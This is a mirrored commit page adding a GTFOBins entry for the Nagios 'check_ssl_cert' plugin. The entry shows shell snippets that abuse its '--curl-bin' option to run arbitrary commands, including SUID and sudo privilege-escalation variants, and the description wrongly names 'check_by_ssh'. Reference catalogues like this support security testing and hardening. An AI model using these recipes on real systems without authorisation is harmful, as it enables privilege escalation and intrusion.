mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-12 23:12:06 +01:00
New command: check_ssl_cert
This commit is contained in:
parent
846a613121
commit
e7c1b630ad
34
_gtfobins/check_ssl_cert.md
Normal file
34
_gtfobins/check_ssl_cert.md
Normal file
@ -0,0 +1,34 @@
|
||||
---
|
||||
description: |
|
||||
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
||||
functions:
|
||||
command:
|
||||
- code: |
|
||||
COMMAND='/usr/bin/id'
|
||||
OUTPUT="output_file"
|
||||
TF=$(mktemp)
|
||||
echo "$COMMAND | tee \"$OUTPUT\"" > $TF
|
||||
chmod +x $TF
|
||||
check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS
|
||||
cat $OUTPUT
|
||||
suid:
|
||||
- code: |
|
||||
COMMAND='/usr/bin/id'
|
||||
OUTPUT="output_file"
|
||||
umask 022
|
||||
TF=$(mktemp)
|
||||
echo "$COMMAND | tee \"$OUTPUT\"" > $TF
|
||||
chmod +x $TF
|
||||
./check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS
|
||||
cat $OUTPUT
|
||||
sudo:
|
||||
- code: |
|
||||
COMMAND='/usr/bin/id'
|
||||
OUTPUT="output_file"
|
||||
umask 022
|
||||
TF=$(mktemp)
|
||||
echo "$COMMAND | tee \"$OUTPUT\"" > $TF
|
||||
chmod +x $TF
|
||||
sudo check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS
|
||||
cat $OUTPUT
|
||||
---
|
Loading…
Reference in New Issue
Block a user